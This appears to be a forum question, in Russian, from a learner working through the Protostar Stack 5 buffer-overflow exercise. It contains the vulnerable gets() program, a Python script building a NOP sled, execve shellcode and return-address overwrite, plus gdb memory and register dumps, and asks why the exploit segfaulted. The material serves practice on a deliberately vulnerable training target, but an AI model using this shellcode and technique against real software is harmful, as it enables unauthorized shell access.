Я попытался узнать, как работает переполнение буфера, и выполнил несколько упражнений с сайтаexploit-exercises.com. Я попытался решить проблему с Protostar Stack 5. Код написан на C. Вот код:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Буфер начинается с 0xbffff770
, а возврат расположен с 0xbffff7bc
, поэтому у меня есть 76 байт (0xbffff7bc - 0xbffff770 = 0x4c = 76
) для размещения nop-следа и шеллкода. Размер шеллкода составляет 23 байта, поэтому я помещаю 53 байта nop-следа в свой стек и перенаправляю регистр eip в середине моего nop-следа, который равен 0x0xbffff770 + 16
. Вот мой скрипт для создания эксплойта, написанного на питоне:
import struct
eip = struct.pack("I", 0xbffff770 + 16)
nop = "\x90" * 53
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print nop + payload + eip
Но после того, как я запустил этот эксплойт в программе, я получил Segmentetion Fault
. Может кто-нибудь объяснить мне, почему я получил эту ошибку?
Память после запуска эксплойта:
0xbffff770: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff780: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff790: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a0: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff7b0: 0xe3896e69 0xe1895350 0x80cd0bb0 0xbffff780
Адрес ret расположен по адресу 0xbffff7bc
и направлен на 0xbffff780
(который не является следом), а шеллкод начинается с 0xbffff7a5
до 0xbffff7bc
.
регистр информации:
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7bc 0xbffff7bc
ebp 0x80cd0bb0 0x80cd0bb0
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Кстати, я пробовал ставить рет адрес редиректа 5 раз, поэтому я уменьшил nop sled до 33 байт (nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)
) и это сработало, но почему я получаю segfault при первом эксплойте. Я не понимаю почему.